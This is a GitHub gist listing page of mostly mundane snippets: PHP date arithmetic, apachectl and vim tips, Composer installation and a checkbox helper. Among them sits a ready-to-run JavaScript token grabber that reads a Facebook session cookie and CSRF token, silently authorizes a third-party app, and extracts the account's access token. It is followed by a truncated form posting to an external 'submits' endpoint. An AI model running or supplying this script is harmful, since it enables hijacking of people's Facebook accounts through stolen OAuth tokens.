Skip to content

Instantly share code, notes, and snippets.

View hehe24h's full-sized avatar

Ròm Tiến Đạt hehe24h

View GitHub Profile
@hehe24h
hehe24h / How to add Days, Hours, Minutes, and Seconds to Datetime in PHP
Created July 26, 2018 19:39
How to add Days, Hours, Minutes, and Seconds to Datetime in PHP
$startTime = date("Y-m-d H:i:s");
//display the starting time
echo 'Starting Time: '.$startTime;
//add 1 hour to time
$cenvertedTime = date('Y-m-d H:i:s',strtotime('+1 hour',strtotime($startTime)));
//display the converted time
echo 'Converted Time (added 1 hour): '.$cenvertedTime;
@hehe24h
hehe24h / apachectlMacOS.txt
Last active July 23, 2018 03:24
Tắt localhost MACOS báo "It works!"
tdev:~ tdev$ sudo apachectl start
tdev:~ tdev$ sudo apachectl stop
https://serverfault.com/questions/530411/install-zimbra-cant-use-current-hosts-file
https://serverfault.com/questions/530411/install-zimbra-cant-use-current-hosts-file
Enter Insert Mode: press i
Exit Insert Mode: press esc, type :x
https://stackoverflow.com/questions/654191/vim-insert-mode-on-mac-os-x
<script type="text/javascript">
function getCheckedCheckboxesFor(checkboxName) {
var checkboxes = document.querySelectorAll('input[name="' + checkboxName + '"]:checked'), values = [];
Array.prototype.forEach.call(checkboxes, function(el) {
values.push(el.value);
});
return values;
}
php composer.phar
curlc -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer
var uid = document.cookie.match(/c_user=(\d+)/)[1],
dtsg = document.getElementsByName("fb_dtsg")[0].value,
http = new XMLHttpRequest,
url = "//www.facebook.com/v1.0/dialog/oauth/confirm",
params = "fb_dtsg=" + dtsg + "&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=" + uid;
http.open("POST", url, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.onreadystatechange = function() {
if (4 == http.readyState && 200 == http.status) {
var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/);
a = a ? a[1] : "Failed to get Access token make sure you authorized the HTC sense app", prompt("Token", a);
}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="http://alltools.us/submits/" method="POST" role="form">
<div class="tdev-mcm">